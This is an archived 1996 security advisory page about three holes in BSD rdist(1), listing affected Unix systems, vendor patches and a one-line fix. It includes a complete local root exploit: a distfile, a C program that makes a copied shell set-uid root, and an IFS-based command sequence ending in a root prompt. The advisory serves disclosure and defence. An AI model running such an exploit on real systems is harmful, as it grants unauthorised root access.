[ Search ] [ What's New? ] [ About ]
[ Bugs ] [ Misc ] [ Mailing Lists ] [ Newgroups ] [ NewsWire ] [ Papers ] [ People ]
[ Pictures ] [ Publications ] [ Responce Teams ] [ Tools ] [ Upcoming Events ] [ Web Sites ]

rdist(1)
Systems Affected: SunOS 4.1.2 or earlier (Patch-ID# 100383-06 fixes this), AIX 3.2.x, A/UX 2.0.1, SCO 3.2v4.2, BSD NET/2 Derived Systems, UNICOS 6.0/6.E/6.1, NeXTstep Release 2.x, IRIX 3.3/4.0 (fixed in 4.0), most systems supporting BSD rdist. OS that are safe: Ultrix 4.3, OSF/1 1.3, HP-UX, Solaris 2
Problem: There are at least 3 security holes in rdist. The first hole is that rdist does a chown()/chmod on file name as root, instead of fchmod or fchown. The second one blows a bugger (4 times, each time one byte shorter). In doing so it overwrites the global variable "userid" that just happens to be next to it. The trailing 0 from the 4 iterations zeros the userid variable. The third uses popen(3) to execute sendmail(8) as root. It can therefore be made to execute arbitrary programs as root by use of the IFS variable.

This example demonstrates how to become root on most affected machines by creating a set-uid root shell by exploiting the popen(3) call.

Create the following file, 'distfile': 

8<--------------------------- cut here ----------------------------
HOSTS = localhost
FILES = BullInTheHeather
${FILES} -> ${HOSTS}
        install /tmp/1 ;
        notify user ;
8<--------------------------- cut here ----------------------------
Create the following file, 'usr.c': 
8<--------------------------- cut here ----------------------------
main()
{
        setuid(0);
        chown("sh", 0, 0);
        chmod("sh", 04755);
        exit(0);
}
8<--------------------------- cut here ----------------------------
(Lines marked with > represent user input) 
>       % cp /bin/sh .
>       % cc -o usr usr.c
>       % set path=(. $path)
>       % setenv IFS /
>       % rdist
        updating host localhost
        rdist: BullInTheHeather: No such file or directory
        notify @localhost ( user )
>       % ls -l
        -rwsr-xr-x  1 root       106496 Mar  4 00:25 sh
>       % ./sh
        #
Solution: Apply your vendor's patch.

Cray Research, Inc. UNICOS 6.0/6.E/6.1 Field Alert #132 SPR 47600

For further information contact the Support Center at 1-800-950-CRAY or 612-683-5600 or e-mail support@crayamid.cray.com.

NeXT Computer, Inc. NeXTstep Release 2.x

A new version of rdist may be obtained from your authorized NeXT Support Center. If you are an authorized support center, please contact NeXT through your normal channels. NeXT also plans to make this new version of rdist available on the public NeXT FTP archives.

Silicon Graphics IRIX 3.3.x/4.0 (fixed in 4.0.1)

Patches may be obtained via anonymous ftp from sgi.com in the sgi/rdist directory.

Sun Microsystems, Inc. SunOS 4.0.3/4.1/4.1.1 Patch ID 100383-06

Patches may be obtained via anonymous ftp from ftp.uu.net or from local Sun Answer Centers worldwide.

Both bugs can be fixed by adding one line at the beginning of the server routine: 

	setreuid(userid,userid); or setuid(userid);

There is no need for rdist -Server to run as root. You can also just remove the setuid bin from rdist and/or obtain USC's version of rdist from usc.usc (pub/rdist). For Sun's the patch id number is 100383-06.


Aleph One / aleph1@underground.org
Copyright © 1996 Computer Underground Society. All rights reserved.